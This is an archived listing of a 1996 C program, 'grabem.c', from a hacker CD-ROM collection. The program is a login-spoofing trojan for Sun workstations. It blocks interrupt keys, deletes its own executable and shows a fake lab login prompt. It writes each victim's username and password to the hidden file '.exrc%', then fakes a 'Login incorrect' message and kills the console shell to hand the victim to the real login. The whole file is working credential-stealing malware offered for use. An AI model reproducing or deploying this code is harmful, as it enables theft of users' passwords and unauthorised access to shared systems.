home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / grabem.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  5KB  |  109 lines

  1. /*----------------------------------------------------------------------+
  2. | GRABEM 1.0                                                                              by The K-Man      |
  3. | A Cute little program to collect passwords on the Sun workstations.   |
  4. +----------------------------------------------------------------------*/
  5. #define PASSWORD "Password:"
  6. #define INCORRECT "\nLogin incorrect"
  7. #define FILENAME ".exrc%"
  8. #include <stdio.h>
  9. #include <signal.h>
  10. /*-----------------------------------------------------------------------+
  11. | ignoreSig                                                                                                                              |
  12. |                                                                                                                                                |
  13. |       Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT.                             |
  14. +-----------------------------------------------------------------------*/
  15. void ignoreSig ()
  16. {
  17.         return;
  18. }
  19. /*-----------------------------------------------------------------------+
  20. | Main                                                                                                                                   |
  21. +-----------------------------------------------------------------------*/
  22. main()
  23. {
  24. char    name[10],                       /* users name                               
  25.     */
  26.                 password[10];           /* users password                           
  27.     */
  28.                 
  29. int     i,                              /* loop counter                         */
  30.                 lab,                    /* lab # you're running on              */
  31.                 procid;                 /* pid of the shell we're under         */
  32. FILE    *fp;                            /* output file                              
  33.     */
  34.         
  35.      /*-------------------------------------------------------------------+
  36.      | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\)    |
  37.      | signals so the program doesn't stop and dump back to the shell.    |
  38.      +-------------------------------------------------------------------*/
  39.         signal (SIGINT, ignoreSig);
  40. signal (SIGTSTP, ignoreSig);
  41. signal (SIGQUIT, ignoreSig);
  42. /*-------------------------------------------------------------------+
  43. | Get the parent pid so that we can kill it quickly later.  Remove   |
  44. | this program from the account.                                                    
  45.                      |
  46. +-------------------------------------------------------------------*/
  47. procid = getppid();
  48. system ("\\rm proj2");
  49. /*-------------------------------------------------------------------+
  50. | Ask for the lab # we're running on.  Clear the screen.                         |
  51. +-------------------------------------------------------------------*/
  52. printf ("lab#: ");
  53. scanf ("%d", &lab);
  54. for (i=1; i<40; i++)
  55.         printf ("\n");
  56. getchar();
  57. /*-------------------------------------------------------------------+
  58. | Outer for loop.  If the name is <= 4 characters, it's probably not |
  59. | a real id.  They screwed up.  Give 'em another chance.             |
  60. +-------------------------------------------------------------------*/
  61. for(;;)
  62. {
  63.         /*---------------------------------------------------------------+
  64.         | If they hit return, loop back and give 'em the login again.    |
  65.         +---------------------------------------------------------------*/
  66.         for (;;)
  67.         {
  68.                 printf("lab%1d login: ",lab);
  69.                 gets (name);
  70.                 if (strcmp (name, "") != 0)
  71.                         break;
  72.         }
  73.         /*---------------------------------------------------------------+
  74.         | Turn off the screen echo, ask for their password, and turn the |
  75.         | echo back on.                                                             
  76.                                      |
  77.         +---------------------------------------------------------------*/
  78.         system ("stty -echo > /dev/console");
  79.         printf(PASSWORD);
  80.         scanf("%s",password);
  81.         getchar();
  82.         system ("stty echo > /dev/console");
  83.         /*---------------------------------------------------------------+
  84.         | Write their userid and password to the file.                   |
  85.         +---------------------------------------------------------------*/
  86.         if ( ( fp = fopen(FILENAME,"a") )  != NULL )
  87.         {
  88.                 fprintf(fp,"login %s has password %s\n",name,password);
  89.                 fclose(fp);
  90.         }
  91.         /*---------------------------------------------------------------+
  92.         | If the name is bogus, send 'em back through                               
  93.  |
  94.         +---------------------------------------------------------------*/
  95.         if (strlen (name) >= 4)
  96.                 break;
  97.         else
  98.                 printf (INCORRECT);
  99.         }
  100.         
  101. /*-------------------------------------------------------------------+
  102. | Everything went cool. Tell 'em they fucked up and mis-typed and    |
  103. | dump them out to the REAL login prompt.  We do this by killing the |
  104. | parent process (console).                                          |
  105. +-------------------------------------------------------------------*/
  106.         printf (INCORRECT);
  107.         kill (procid, 9);
  108. }
  109.